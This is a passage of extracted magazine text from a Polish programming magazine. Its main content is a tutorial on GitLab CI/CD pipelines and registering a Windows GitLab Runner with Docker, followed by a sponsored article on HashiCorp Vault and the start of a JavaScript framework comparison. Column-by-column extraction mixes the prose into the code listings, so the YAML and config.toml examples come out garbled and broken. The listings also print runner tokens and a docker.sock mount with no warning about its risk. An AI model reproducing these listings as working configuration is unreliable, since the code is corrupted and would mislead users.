Rysunek 2. Narzędzie do walidowania konfiguracji pipeline na Rysunku 5 widzimy, że po aktualizacji

{ WWW.PROGRAMISTAMAG.PL } <27>
BIBLIOTEKI I NARZĘDZIA

Rysunek 3. Widok wygenerowanych automatycznie zależności

Rysunek 4. Dashboard dodawania nowego projektu

<28> { 2 / 2022 < 101 > }


/ CI/CD jako nowoczesny workflow /

pliku konfiguracyjnego z trzech punków stał się on czteropunktowy. - echo $CI_COMMIT_REF_NAME


- echo $INLINE_GLOBAL_VARIABLE
Dodatkowo to od nas właściwie zależy, jak będzie wyglądała kolej- - echo $INLINE_LOCAL_VARIABLE
ność zależności między poszczególnymi punktami. - echo $CI_COMMIT_REF_NAME
- echo $CI_ENVIRONMENT_SLUG

test job1:
stage: test
script:
- echo "Programista"

test job2:
stage: test
script:
- echo "Programista"
only:
Rysunek 5. Zmiana wprowadzająca dodatkowy punkt w pipeline - branches
except:
- master
Listing 1. Konfiguracja zmiennych, punktów na pipeline i zadań testowych

stages:
- build
- test Kod widoczny w Listingu 1 już na pierwszy rzut oka powinien nam
- review dużo powiedzieć o możliwościach konfiguracyjnych. Widać, że punkty
- deploy
na pipeline definiowane są w postaci stages. Mamy także tutaj pokaza-
environment variables:
stage: build
ny sposób, w jaki definiujemy rodzaje zmiennych. Możemy wymienić
variables: zmienne globalne, lokalne i tak zwane domyślne, czyli generowane
INLINE_LOCAL_VARIABLE:
Local variable for Programista przez GitLaba. Piękno CI/CD polega na tym, że każde zadanie re-
script: alizowane na pipeline jesteśmy w stanie sami przeanalizować. W na-
- echo "Test scritpt here"
- echo "Here are defualt, global, szym przypadku możemy na przykład otworzyć environment variables
local varbailes..." i sprawdzić, jak przebiegał cały proces budowania – Rysunek 6.

Rysunek 6. Przebieg environment variables

{ WWW.PROGRAMISTAMAG.PL } <29>
BIBLIOTEKI I NARZĘDZIA

RUNNERS Runners są o tyle „fajne”, że możemy korzystać z tak zwanych sha-


red runners, czyli przygotowanych przez GitLaba lub użytkowników
GitLab Runner jest doskonałym zestawem narzędzi do skonfiguro- gotowych środowisk. Z drugiej strony musimy pamiętać, że w takim
wania automatycznego oraz ciągłego budowania naszej aplikacji i to przypadku mamy do czynienia z sytuacją, w której nie będziemy
po każdej, nawet najmniejszej zmianie. Nie zawsze runnery będą mieć pełnej wiedzy na temat samego środowisko, w jakim celu tak
potrzebne i stosowane w projektach, ale uważam, że jeżeli jest taka naprawdę zostało ono zbudowane i jak długo będzie dostępne. Z tych
możliwość, to powinniśmy z nich korzystać i już piszę dlaczego. właśnie powodów zalecam oparcie wytwarzania aplikacji o nasze wła-
Wyobraźmy sobie sytuację, w której mamy w zespole osoby odpo- sne zasoby. Pozwoli to nam w pełni i od samego początku kontrolować,
wiedzialne za zbudowanie czy to testowej, czy to finalnej aplikacji. jak nasze środowisko będzie skonfigurowane.
Każda z tych osób przygotowuje taką aplikację, oddaje do finalnych Rozpoczynając proces budowania własnego runnera, trzeba pod-
testów i okazuje się, że zespół testowy nie jest w stanie uruchomić kreślić, jak wszechstronne jest to narzędzie. O możliwości korzysta-
jednej z nich lub nawet obydwóch. Oczywiście związane może to być nia ze współdzielonych już wspomniałem, ale to właśnie przy tworze-
z szeregiem problemów; jednym z nich może być sytuacja, gdy osoby niu własnego runnera ukazuje nam się cała potęga kryjąca się za tym
odpowiedzialne za przygotowanie aplikacji posiadają inne środowi- narzędziem. Chcemy stworzyć runner w oparciu o Linux, Windows,
ska, na których dana aplikacja była budowana. Tego typu ograniczeń a może macOS, Docker czy Kubernetes? W każdym z wymienionych
możemy uniknąć właśnie dziękie GitLab Runner, który umożli- środowisk jesteśmy w stanie zainstalować i zbudować runner. Na po-
wia budowanie naszej aplikacji zawsze na tym samym lub na wielu trzeby naszego przykładu przeprowadzimy instalację i konfigurację
przez nas przygotowanych środowiskach, a to pozwoli nam z dużą runnera działającego na systemie operacyjnym Windows.
dozą prawdopodobieństwa upewnić się, że tak zbudowana aplikacja Na Rysunku 7 przedstawiony został widok strony konfiguracyjnej
będzie się zachowywać po stronie użytkownika końcowego zgodnie runners, w której mamy dostęp do tokena, który z kolei będzie nam
z założeniami projektowymi. potrzebny w dalszej części artykułu. Na Rysunku 7 znajduje się nato-

Rysunek 7. GitLab Runners – ustawienia

<30> { 2 / 2022 < 101 > }


/ CI/CD jako nowoczesny workflow /

miast informacja o przykładowych konfiguracjach w zależności od W ramach sprawdzenia, czy instalacja przebiegła poprawnie,
środowiska, a także możliwość skorzystania ze współdzielonych run- możemy na przykład w PowerShellu skorzystać z komendy docker
ners. Uwaga: widoczny token był wygenerowany dla już nieaktyw- version, która po udanej instalacji wyświetli informacje o wersji
nego testowego konta i wasz oczywiście będzie inny. Do tych usta- Dockera oraz silnika integracji – Rysunek 8.
wień przechodzimy, wybierając Settings -> CI/CD i klikając przycisk
Expand na opcji Runners.
Ustaliliśmy już, że najlepiej jest korzystać ze swojego własnego
runnera, dlatego naszą pierwszą czynnością powinno być wyłącze-
nie publicznie dostępnych i współdzielonych, co da nam pewność,
że nasz pipeline nie będzie z nich korzystał. Następnym krokiem jest
instalacja runnera, którą możemy w naszym przykładzie podzielić na
trzy etapy. Specjalnie użyłem słów „nasz przykład”, ponieważ to jest
właśnie czas, aby wspomnieć o kolejnej bardzo istotnej możliwości
runnera. Napomknąłem już o tym, że można go zainstalować na róż-
nych platformach, ale na tym wcale nie koniec, ponieważ sam run-
ner może wywoływać różne egzekutory. Oznacza to, że nasz projekt
możemy zbudować w oparciu o kontener, ale także w PowerShellu,
Bashu czy wirtualnej maszynie. Oczywiście nie wymieniłem wszyst-
kich możliwości, dlatego zachęcam do zapoznania się z oficjalną do-
kumentacją dostępną pod adresem docs.gitlab.com/runner/executors/.
W naszym przykładzie będziemy opisywać instalację Dockera, usłu-
gę oraz konfigurację samego runnera wraz z egzekutorem na wybra-
nym środowisku, którym będzie Windows.
Pierwszym etapem na naszej drodze do w pełni działającego Rysunek 8. Użycie komendy docker version
runnera powinna być instalacja w środowisku docelowym Docke-
ra. Proces ten jest praktycznie całkowicie automatyczny i wymaga Drugi etap instalacji należy rozpocząć od uruchomienia konsoli CMD
od nas tak naprawdę tylko ściągnięcia instalatora, a następnie po- lub PowerShell z prawami administratora i ściągnięcia z repozytorium
stępowania zgodnie z jego instrukcjami. Instalator możemy pobrać GitLaba runnera w postaci pliku wykonywalnego EXE. Następnie na-
z głównej strony pod adresem: desktop.docker.com/win/main/amd64/ leży zarejestrować nową usługę, bazując na pobranym przez nas pliku.
Docker%20Desktop%20Installer.exe Wyżej wymienione kroki zostały przedstawione na Rysunku 9.

Rysunek 9. PowerShell – instalacja runnera

{ WWW.PROGRAMISTAMAG.PL } <31>
BIBLIOTEKI I NARZĘDZIA

Etap trzeci i zarazem najbardziej newralgiczny to konfiguracja Możemy finalnie sprawdzić, czy runner prawidłowo się zare-
i rejestracja naszego runnera w portalu GitLab. Zanim przystąpimy jestrował i jest włączony, wchodząc na portal GitLab i przechodząc
do tych czynności, potrzebny będzie nam token naszego projektu. do Settings -> CI/CD i rozwinąć Runners. Na Rysunku 11 możemy
Jest on dostępny na portalu GitLab po przejściu w Settings -> CI/ zauważyć, że w moim przypadku pojawiły się dwa nowe runnery.
CD -> Runners (dla przypomnienia: przykładowy token i miejsce, Pierwszy z nich Windows_Docker został zarejestrowany przez wizard,
w którym możemy go znaleźć, zostały już zaprezentowane na Rysun- a drugi Programista_Docker przy użyciu zaprezentowanej w Listin-
ku 7). Po uprzednim zapisaniu lub skopiowaniu tokena jesteśmy już gu 2 komendy. Najważniejsze jest jednak to, że są w statusie Active
przygotowani do przeprowadzenia konfiguracji i rejestracji naszego (zielona kropka), czyli portal „widzi” je jako dostępne do uruchomie-
nowego runnera. Proces ten został przedstawiony na Rysunku 10. nia i wykorzystania.
Konfigurator podczas jego uruchomienia za pomocą komendy
.\GitLab-runner.exe register poprosi nas o kilka informacji,
takich jak URL projektu, token, opis, tag, a następnie o podanie eg-
zekutora i domyślnego obrazu, z którego ma on skorzystać. Wiemy,
że proces konfiguracji przebiegł pomyślnie, jeżeli – tak jak to zosta-
ło zaprezentowane na Rysunku 10 – otrzymamy zwrotną informację
o jego pozytywnym zarejestrowaniu. Nie jesteśmy tutaj zmuszeni ko-
rzystać z wizarda, ponieważ możemy użyć na przykład PowerShella
i podając wszystkie potrzebne dane, zarejestrować nasz runner za po-
mocą widocznego w Listingu 2 polecenia.

Listing 2. Komenda rejestrująca runner bez użycia wizarda

.\GitLab-runner.exe register `
--url https://gitlab.com/ `
--registration-token GR1348941JH `
--name Programista_Docker `
--tag-list programista,docker `
--executor docker `
--docker-image alpine:latest `
--docker......
/var/run/docker.sock
--docker-volumes /cache `
-n

Rysunek 11. Widoczne na portalu GitLab zarejestrowane przez nas runnery

Rysunek 10. Konfiguracja i rejestracja runnera

<32> { 2 / 2022 < 101 > }


/ CI/CD jako nowoczesny workflow /

Finalnie powinniśmy także przyjrzeć się bliżej konfiguracji i już nie połączonego socketa Dockera. Więcej informacji można znaleźć
spieszę z wyjaśnieniem, dlaczego jest to tak ważne. Plik konfigura- w oficjalnej dokumentacji GitLaba dostępnej pod adresem: docs.gi-
cyjny generowany jest na podstawie dostarczonych przez nas infor- tlab.com/ee/ci/docker/using_docker_build.html.
macji podczas instalacji i domyślnie znajduje się w folderze głównym Warto pamiętać, że ściągnięty przez nas plik wykonywalny GitLab-
ściągniętego przez nas i nazwanego pliku wykonywalnego. W moim -runner.exe to tak naprawdę bardzo potężne narzędzie. Zachęcam do
przypadku znaleźć go mogę w C:\GitLab-Runner\config.toml. W Li- analizy i zabawy z nim. Standardowe komendy w stylu .\GitLab-
stingu 3 możemy zobaczyć, jak wygląda konfiguracja. Widzicie róż- runner.exe czy .\GitLab-runner.exe register -h działają i są
nicę pomiędzy tymi dwoma runnerami? bardzo dobrze udokumentowane. Jest to także jeden z powodów, dla
których nie tłumaczę każdego ustawienia czy flagi. Możemy także za-
Listing 3. Prezentacja pliku konfiguracyjnego
wsze sprawdzić, jak się sprawują zarejestrowane runnery dzięki komen-
concurrent = 1 dzie .\GitLab-runner.exe verify czy użyć .\GitLab-runner.exe
check_interval = 0
run, który pokaże nam nawet napływające zadania z portalu. Może-
[[runners]]
name = "Windows_Docker" my również włączyć debug mode za pomocą komendy .\GitLab-
url = "https://gitlab.com/" runner.exe –debug run.
token = "HjhRFNv95Bx27seXsNPx"
executor = "docker" Wcześniej przyjrzeliśmy się bliżej konfiguracji pipeline, więc pew-
[runners.custom_build_dir] nie nikogo w tym miejscu nie zdziwi, że CI/CD zawiera jeszcze jedną
[runners.cache]
[runners.cache.s3] bardzo potężną funkcjonalność. Za pomocą dobrze skonfigurowa-
[runners.cache.gcs] nego runnera i pliku .gitlab-ci.yml jesteśmy w stanie przeprowadzić
[runners.cache.azure]
[runners.docker] deployment aplikacji i na przykład gotową paczkę lub obraz umieścić
tls_verify = false
image = "alpine:latest"
w lokalnym i, co najważniejsze, prywatnym repozytorium. W Listin-
privileged = false gu 4 znajduje się przykład takiego kodu, który należy umieścić w pli-
disable_entrypoint_overwrite = false
oom_kill_disable = false ku .gitlab-ci.yml.
disable_cache = false
volumes = ["/cache"] Listing 4. Skrypt generujący obraz i umieszczający go w lokalnym repozytorium
shm_size = 0
build image:
[[runners]] stage: build
name = "Programista_Docker" image: docker:latest
url = "https://gitlab.com/" services:
token = "Rnbu36Hs-inGaK_8gyU6" - docker:dind
executor = "docker" before_script:
[runners.custom_build_dir] - docker login -u "$CI_REGISTRY_USER" -p
[runners.cache] "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
[runners.cache.s3] script:
[runners.cache.gcs] - docker build --pull -t
[runners.cache.azure] "$CI_REGISTRY_IMAGE" .
[runners.docker] - docker push "$CI_REGISTRY_IMAGE"
tls_verify = false
image = "alpine:latest"
privileged = false
GitLab przygotował dwa odrębne repozytoria. Package Registry po-
disable_entrypoint_overwrite = false
oom_kill_disable = false zwala na przetrzymywanie w prywatnym kontenerze przygotowanych
disable_cache = false
volumes = [....
różnego rodzaju paczek, natomiast Container Registry jest bezpiecz-
/var/run/docker.sock", "/cache"] nym i prywatnym repozytorium dla obrazów Dockera. Przygotowany
shm_size = 0
przez nas image jest generowany w instancji Docker i z tego właśnie
powodu obraz ten będzie znajdował się w Packages & Registries ->
Różnica nie jest na pierwszy rzut oka tak wyraźnie widoczna, a ogra- Container Registry – Rysunek 12. Tak naprawdę jest to gotowy obraz,
niczenia dotyczące szerokości łamów w czasopiśmie sprawiają, że jest do którego możemy się odnosić lub wypchnąć na produkcję, lub też
to jeszcze mniej rzucające się w oczy. Zwróćmy jednak uwagę na li- wykonać na jego podstawie backup czy też zewnętrzne review.
nijkę, która odpowiada za konfigurację wolumenów: W ramach opisywanego przykładu zamieszczam w Listingu 5 ca-
łość pliku .gitlab.ci.yml i zachęcam także do zapoznania się z doku-
Windows_Docker:
volumes = ["/cache"] mentacją dostępną na stronie: docs.gitlab.com/ee/ci/yaml/gitlab_ci_
yaml.html. Nie wszystko wspólnymi siłami omówiliśmy, ale mam
Programista_Docker: nadzieję, że na tyle dużo, by zmobilizować do dalszego eksperymento-
volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]
wania i poznawania tej fascynującej ścieżki nowoczesnego workflow.

Listing 5. Cały skrypt napisany w pliku .gitlab-ci.yml


Jest to o tyle ważne, że wygenerowane ścieżki przez wizarda będą mieć
w przypadku Dockera tylko ścieżkę /cache jako wolumen. W takim image: docker:latest

przypadku podczas niektórych zadań, takich jak na przykład wypy- variables:


INLINE_GLOBAL_VARIABLE:
chanie gotowej aplikacji do repozytorium, pipeline będzie generował Global variable for Programista
błąd 1 (problem z socketem) lub 127 (brak obrazu Docker), a sama stages:
operacja nie powiedzie się. Błąd ten jest związany z brakiem domyśl- - build

{ WWW.PROGRAMISTAMAG.PL } <33>
BIBLIOTEKI I NARZĘDZIA

- test stage: deploy


- review script: echo "Deploy release"
- deploy environment:
name: staging
environment variables: needs:
stage: build - job: test job1
variables:
INLINE_LOCAL_VARIABLE: build image:
Local variable for Programista stage: build
script: image: docker:latest
- echo "Test scritpt here" services:
- echo "Here are defualt, - docker:dind
global, local varbailes..." before_script:
- echo $CI_COMMIT_REF_NAME - docker login -u "$CI_REGISTRY_USER" -p
- echo $INLINE_GLOBAL_VARIABLE "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
- echo $INLINE_LOCAL_VARIABLE script:
- echo $CI_COMMIT_REF_NAME - docker build --pull -t
- echo $CI_ENVIRONMENT_SLUG "$CI_REGISTRY_IMAGE" .
- docker push "$CI_REGISTRY_IMAGE"
test job1:
stage: test sast:
script: stage: test
- echo "Programista" include:
- template: Security/SAST.gitlab-ci.yml
test job2:
stage: test
script:
- echo "Programista"
only: DEVSECOPS – EWOLUCJA CZY
- branches
except:
REWOLUCJA?
- master
Ustaliliśmy już, że DevOps jako połączenie światów programowania
deploy review:
stage: review i infrastruktury doskonale sprawdza się i usprawnia pracę nad pro-
script: jektami. Na przełomie kilku ostatnich lat stało się jednak jasne, że
- echo "test deploy for Programista"
needs: taka szybkość popularyzowania IT w dosłownie wszystkich branżach
- job: test job1 i odnogach gospodarki niesie ze sobą nowy, bardzo istotny problem.
deploy release: Szeroko pojęte bezpieczeństwo stało się jedną z najważniejszych kwe-
stii każdego projektu. Codzienne nowo wykryte drobne luki, podat-

Rysunek 12. Lokalne repozytorium z przygotowanym obrazem

Rysunek 13. Narzędzia SAST – automatyczne raporty

<34> { 2 / 2022 < 101 > }


/ CI/CD jako nowoczesny workflow /

ności typu 0day czy co jakiś czas pojawiające się „końce świata” typu Dodatkowo po wykonaniu się zestawu testów wchodzących w skład
Log4Shell (CVE-2021-44228) już dawno utwierdziły w przekonaniu SAST mamy możliwość ściągnięcia automatycznie wygenerowanego
nie tylko scenę IT, ale także CEO, prezesów i klientów, że bezpieczeń- raportu – Rysunek 13.
stwo to jeden z najważniejszych aspektów każdego projektu. Oczywiście same testy wchodzące w skład SAST można rozwijać
Jeszcze kilka lat temu klient pytający o bezpieczeństwo czy backup i dodawać. Należy też wspomnieć, że nie jest to jedyna wbudowana
jego aplikacji był dosłownie abstrakcją, a obecnie pojawia się już na w GitLab możliwość sprawdzania naszego projektu pod kątem bez-
początku rozmowy. Takie podejście cieszy, ale i pokazuje, jak bardzo pieczeństwa. Zachęcam do sprawdzenia zakładki Security & Com-
zmienił się świat. Z tego powodu DevOps ewoluowało w DevSecOps. pliance - > Configuration oraz oficjalnej dokumentacji dostępnej pod
Tutaj także z pomocą przychodzi nam CI/CD, który dobrze skon- adresem docs.gitlab.com/ee/user/application_security/.
figurowany sprawi, że nasza aplikacja będzie zawsze prawidłowo
przetestowana, także pod kątem bezpieczeństwa. Trzeba oczywiście
PODSUMOWANIE
pamiętać o tym, że przygotowane testy sprawdzające nasz projekt po-
winny być co jakiś czas rewidowane i sprawdzane. Prawda jest taka, Celem tego artykułu było nie tylko przedstawienie podstaw funkcjo­
że nowoczesny workflow to taki, w którym każda nowa funkcjonal- nowania CI/CD, ale także zaszczepienie w czytelniku chęci ekspery­
ność aplikacji jest testowana i audytowana. Automatyzacja naszego mentowania z nowoczesnym, opartym o metodologię kryjącą się za
workflow może bardzo usprawnić i przyspieszyć pracę, ale tylko wte- DevOps, workflow. Jednym z głównych założeń było także przybli-
dy, gdy jest dobrze skonfigurowana i często kontrolowana. żenie zestawu narzędzi wchodzących w skład CI/CD oraz zwróce-
W zaprezentowanym wcześniej Listingu 5 możemy zaobserwo- nie uwagi, że automatyza­cja zadań może być bardzo pomocna dla
wać, że zostały włączone narzędzia Static Application Security Te- nas i naszego zespołu. Trzeba oczywiście pamiętać, że to nie koniec
sting (SAST), które automatycznie przeanalizują nasz projekt pod zabawy, bowiem CI/CD skrywa jeszcze wiele tajemnic, ale mam na-
kątem znanych podatności. Zadania, które zostały dodane do nasze- dzieję, że lektura tego artykułu spra­wiła, że zapragniecie odkryć każ-
go pipeline po włączeniu SAST, są z kolei widoczne na Rysunku 3. dą z nich już na własną rękę!

MICHAŁ ZBYL
michal.zbyl@gmail.com

Artykuł napisany został przez wariata, na co dzień pracownika UBS, w którym projektuje i wdraża mały bank w dużym banku.
Dla śmieszności wydarzeń wystarczy dodać, że planuje, konfiguruje i wdraża Infrastrukturę IT od sieci po całe serwerownie
tu i tam. Stawia na VMware i uważa, że kontenery nie sprawdzają się wszędzie. Czasem żeby udowodnić, że na pewno wariat,
zaliczy sobie taki czy inny certyfikat z języka japońskiego.

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <35>
SKARBIEC NA STRAŻY
SEKRETÓW. JAK VAULT
USPRAWNIA KOMUNIKACJĘ
W KUBERNETESIE
Podczas gdy firmy przestawiły się na model pracy zdalnej, globalna
pandemia wysunęła technologię chmury na pierwszy plan. Teraz
pracownicy wracają do biur, ale element pracy zdalnej powinien zo-
stać w sektorze IT już na stałe. Z jednej strony duża elastyczność,
automatyzacja, redukcja kosztów, wydajność i dostęp do zasobów
z każdego miejsca świata, a z drugiej – bezpieczeństwo. W tych cza-
sach – wzmożonej cyberprzestępczości i zakłóconego ładu na świe-
cie – wysuwa się ono na pierwszy plan jeszcze bardziej. W Comarch
Cloud i Security są nieodłącznym elementem pracy. Ale to niejedy-
ne obszary IT, które czekają na studentów w ofercie letnich stażów.

<36> { MATERIAŁ INFORMACYJNY }


Trzymiesięczny staż to sposób na start kariery zawodowej w bran- ne przez określony czas – np. tylko na czas wykonywania skryptu
ży IT. A ta stawia przed deweloperami coraz więcej wyzwań. Świat – i unikalnych dla poszczególnych klientów. Może być także używany
„ucieka” do chmury, dla której „systemem operacyjnym” stał się nie- do szyfrowania i deszyfrowania danych „in-transit”, oferując usługę
jako Kubernetes. Lekkie i przenośne kontenery umożliwiają automa- Encryption as a Service, co oznacza, że jego interfejs API zwróci za-
tyzację zadań, skalowalność infrastruktury, jej migrację, a także po- szyfrowane lub odszyfrowane dane bez ich przechowywania. Moż-
zwalają budować szybciej i łatwiej. Wykorzystywanie kontenerów nie na to wykorzystać w celu szyfrowania własnych danych aplikacji,
jest jednak wolne od wyzwań. Trzeba optymalizować procesy CI/CD, np. w bazie danych. Vault bowiem nie szyfruje samych danych, a klu-
dobierać odpowiednie narzędzia, a przede wszystkim postawić na cze dostępowe do nich i bezpiecznie je przechowuje.
bezpieczeństwo. To aspekt, który w Comarch stawiany jest na wyso- Te wszystkie informacje muszą być oczywiście gdzieś przecho-
kim miejscu w procesie tworzenia oprogramowania. Ale oprócz spe- wywane. Vault wymaga backendu, który pełni funkcję pamięci dla
cjalistów ds. cyberbezpieczeństwa, Comarch czeka na programistów, tego narzędzia. Możliwych rozwiązań jest wiele, a jednym z nich jest
inżynierów systemowych, deweloperów aplikacji mobilnych, oferuje Consul, który zapewnia wysoką dostępność usługi i skalowalność.
także staże w obszarze telekomunikacji, embedded, czy AI/ML. A oprócz tego ma wiele innych funkcjonalności – m.in. Service Di-
scovery do wykrywania usług przez klientów, Health Checking do mo-
Przed stażystami odbywającymi staż w Centralnym Zespole Kom- nitorowania kondycji klastra czy Service Mesh do zestawiania wza-
petencyjnym Cybersecurity stoją możliwości nauki szeroko poję-
jemnych połączeń TLS pomiędzy aplikacjami.
tych technologii DevSecOpsowych, automatyzacji procesów czy
bezpiecznych rozwiązań chmurowych. Duży nacisk stawiamy na
narzędzia wspomagające wytwarzanie bezpiecznego oprogramo-
wania oraz implementację bezpiecznych procesów CI/CD – mówi
WEJŚĆ DO SKARBCA
Kamil Migacz, menadżer zespołu ds. cyberbezpieczeństwa Po uruchomieniu Vault startuje w stanie sealed. Jest zapieczętowany
w sektorze CZK.
– wie, gdzie dane są przechowywane, ale nie jest w stanie ich odszy-
frować. Innymi słowy: wejście do skarbca jest niemożliwe. To dzieje
Cyberbezpieczeństwo to oczywiście także testy penetracyjne i dbanie się po restarcie, a więc m. in. w przypadku awarii poda czy całego
o bezpieczeństwo aplikacji. Zarówno tradycyjnych, jak i tych chmu- klastra. W celu zapewnienia ciągłego działania usługi i uniknięcia tak
rowych. Jak za tym wszystkim nadążyć i zapewnić, aby aplikacje były rozległych awarii należy zapewnić jej wysoką dostępność. Rekomen-
bezpieczne? dowane jest stworzenie co najmniej trzech replik Vaulta i Consula.
Każdy pod ma dwa kontenery – jeden to Consul Agent do łączenia

VAULT – GAME się z klastrem Consula, a drugi to instancja Vaulta.


Mechanizm odpieczętowania (ang. unseal) jest kluczową funk-
CHANGER W ZARZĄDZANIU cjonalnością narzędzia i daje możliwość odszyfrowania i dostępu
HASŁAMI do przechowywanych i szyfrowanych w Vaulcie danych. Domyślnie
Wymiana haseł, certyfikatów, credentiali i kluczy, potrzebnych apli- Vault skonfigurowany jest do procesu manualnego odpieczętowania,
kacjom do działania od początków Kubernetesa pozostaje dużym co oznacza, że wymaga ręcznej pracy administratora. To działanie
wyzwaniem. Co prawda K8s oferuje zasoby do zabezpieczenia sieci oparte jest na algorytmie Shamir’s Secret Sharing, w którym klucz do
i komunikacji, takie jak wbudowane sekrety, ale ich funkcjonalność unsealowania jest dzielony na kilka części, odłamków (domyślnie: 5).
jest ograniczona tylko do jego wewnętrznej infrastruktury. Ponadto Jego rekonstrukcja jest możliwa dzięki wykorzystaniu określonej liczby
sekrety przechowują credentiale jako ciągi zakodowane w base-64, odłamków (domyślnie: 3 z 5). Podanie ich umożliwia uzyskanie klu-
jednak w żaden sposób niezaszyfrowane. Istnieją oczywiście narzę- cza szyfrowania, który wykorzystywany jest do odszyfrowania klucza
dzia do zwiększenia bezpieczeństwa przechowywanych sekretów, ale głównego, odpowiedzialnego za szyfrowanie sekretów wewnątrz Vault.
im większa infrastruktura, tym większe wyzwanie w kwestii zarzą- Po tej operacji dostęp do wszystkich credentiali jest już możliwy.
dzania credentialami.
Tu z pomocą przychodzi Hashicorp Vault – darmowe narzędzie
A GDZIE W TYM WSZYSTKIM
open-source służące do scentralizowanego zarządzania sekretami –
AUTOMATYZACJA?
credentialami baz danych, kluczami API, danymi logowania, tokena-
mi, certyfikatami TLS. Funkcjonuje w środowisku chmurowym, ale Współczesny świat dąży do automatyzowania praktycznie wszystkie-
też tradycyjnym. go, co możliwe, i nie inaczej jest w Vault. Manualny proces odpie-
Vault gwarantuje, że wszystkie te dane są przechowywane w po- czętowania skarbca mógłby być żmudny i nieefektywny. W tym celu
staci szyfrowanej, tak samo jak szyfrowana jest komunikacja między potrzebny jest automat, który obsłuży zapieczętowany skarbiec do
nim samym a użytkownikiem czy aplikacją. Dodatkowo umożliwia dalszej pracy. Na szczęście Hashicorp oferuje takie rozwiązanie, które
tworzenie dynamicznych sekretów, to znaczy takich, które są waż- może być osiągnięte na kilka różnych sposobów.

{ MATERIAŁ INFORMACYJNY } <37>


Powszechnym rozwiązaniem jest podpięcie Hashicorp Vault do gotowym na krytyczne scenariusze. Dokumentacja Hashicorp nie
zewnętrznej chmury publicznej, którą skarbiec może wykorzystać do jest w tym temacie zbyt obszerna, ale z pomocą przychodzą doświad-
przechowywania klucza głównego i pobierania go stamtąd. Doku- czenia społeczności. Ponieważ nie ma możliwości zmiany trybu od-
mentacja przedstawia przykłady powiązania Vaulta m.in. z AliCloud pieczętowania skarbca, gdy jest on w stanie sealed, do pomocy można
KMS, AWS KMS, Azure Key Vault, GCP Cloud KMS czy OCI KMS. zastosować trzecią instancję Vaulta i odpowiedniego przepięcia kon-
Vaulta można zintegrować też ze Sprzętowym Modułem Bezpieczeń- figuracji w celu wykorzystania go do auto-unsealowania. Ta operacja
stwa (ang. Hardware Security Module), albo wykorzystać do pomocy będzie wymagała też manualnej pracy administratora. Istnieje też
drugą instancję Vaulta. Społeczność wynalazła też budżetową wersję możliwość manualnego odzyskania klucza do unsealowania, ale tu
auto-unsealowania z wykorzystaniem cron job. obawy dotyczą konieczności przechowywania go w formie plaintext
Jeśli nie mamy do dyspozycji zewnętrznej chmury, wersją może i przekazania go do trzeciego Vaulta. Hashiscorp oferuje wiele róż-
być wykorzystanie drugiej instancji Vaulta, wystawionej docelowo – nych podejść do wdrożenia Vaulta i to od administratora zależy, jakie
najlepiej – w osobnym klastrze Kubernetesa. W ten sposób krytyczne wybierze. Jak zawsze – każde ma wady i zalety.
systemy są izolowane, działają niezależnie od siebie, jeden Vault jest
w stanie przejąć rolę drugiego, gdy jego wszystkie repliki odmówią
NIEKOŃCZĄCY SIĘ PROCES
posłuszeństwa. Tzw. Transit seal umożliwia dwóm Vaultom automa-
tyczne wzajemne się odpieczętowywanie. Bezpieczeństwo w Kubernetesie jest dziś jednym z wyzwań, przed
To rozwiązanie daje inne podejście do problemu, ale niekoniecz- jakimi stoją administratorzy chmury. Może się wydawać trudne do
nie jest tańsze – wymaga bowiem większych zasobów. A jeśli nie, to osiągnięcia, ale często główną przyczyną wycieków wrażliwych da-
trzeba pójść na kompromis, kosztem mniejszej izolacji komponen- nych nie są błędy w oprogramowaniu, a błędy administratora. Vault
tów od siebie i ewentualnej awaryjności. Co jednak, jeśli taka awaria daje w tym zakresie duże możliwości, dlatego poprawne jego wdro-
się wydarzy, zatrzasną się oba Vaulty pracujące w trybie transit albo żenie i zadbanie o wszystkie kwestie bezpieczeństwa, od TLS po od-
stracimy dostęp do chmury, której zadaniem był auto-unseal naszego powiednią izolację komponentów, może zapewnić znaczącą ochronę
Vaulta, trzymający wszystkie nasze hasła? krytycznego miejsca chmurowej infrastruktury dla twoich aplikacji.
Ale bezpieczeństwo nie kończy się na Vaulcie. To ciągły proces: mo-

FIVE NINES nitorowania, analizowania, testowania, łatania podatności i wdraża-


nia. I tak w kółko –niezależnie od tego, czy korzystamy z własnych
Wysoka dostępność to dzisiaj jedno z najważniejszych wyzwań, zasobów, czy z chmury.
przed którymi stoją dostawcy usług chmurowych. Pięć dziewiątek
Mateusz Kaleta
i więcej oznacza już wysoką dostępność. Także w Vaulcie trzeba być

<38> { MATERIAŁ INFORMACYJNY }


PROGRAMOWANIE APLIKACJI WEBOWYCH

Porównanie technologii JavaScript do tworzenia aplikacji


webowych
Obecnie najczęściej wykorzystywanymi technologiami do tworzenia frontendu aplikacji we-
bowych są frameworki oparte na języku JavaScript. Najpopularniejszymi rozwiązaniami na
rynku są React.js, Angular oraz Vue.js. Wybór odpowiedniej technologii jest złożonym proble-
mem ze względu na liczbę kryteriów związanych z danym projektem. W jaki sposób wybrać
bibliotekę najlepiej dopasowaną do naszych potrzeb?

ROZWÓJ TECHNOLOGII PRZEDSTAWIENIE TECHNOLOGII


FRONTENDOWYCH Wszystkie wspomniane frameworki, tj. React.js, Angular oraz Vue.js,
Na przestrzeni ostatniego dziesięciolecia możemy zauważyć znaczą- są technologiami open-sourcowymi, które powstały w przeciągu ostat-
cy wzrost odsetku aplikacji internetowych w udziale procentowym niego dziesięciolecia. Jako rozwiązania wieloplatformowe wspierają
budowanych rozwiązań informatycznych. Rozwiązania webowe, działanie aplikacji w większości przeglądarek internetowych. Stano-
w wielu zastosowaniach, stanowią dobrą alternatywę dla oprogramo- wią zestaw narzędzi doskonale nadającymi się do budowy aplikacji
wania desktopowego i mobilnego, którego instalacja wymaga zuży- typu SPA (ang. Single Page Application). Ich głównym założeniem jest
cia zasobów pamięciowych i czasowych. Dodatkową zaletą aplikacji redukcja powtarzalności kodu, dostarczając możliwość definiowa-
internetowych jest brak konieczności publikowania osobnych paczek nia reużywalnych komponentów [3]. Wszystkie te cechy sprawiają,
dla różnych systemów operacyjnych. Rozwiązaniem dla tego proble- że wspomniane biblioteki cieszą się wysoką popularnością, są często
mu może być skorzystanie z takich technologii jak Electron [0] czy wykorzystywane zarówno przez duże korporacje, jak i indywidual-
Cordova [1], które jednak cały czas opierają się na technologiach nych użytkowników. Posiadają dużą rzeszę zwolenników, tworząc ak-
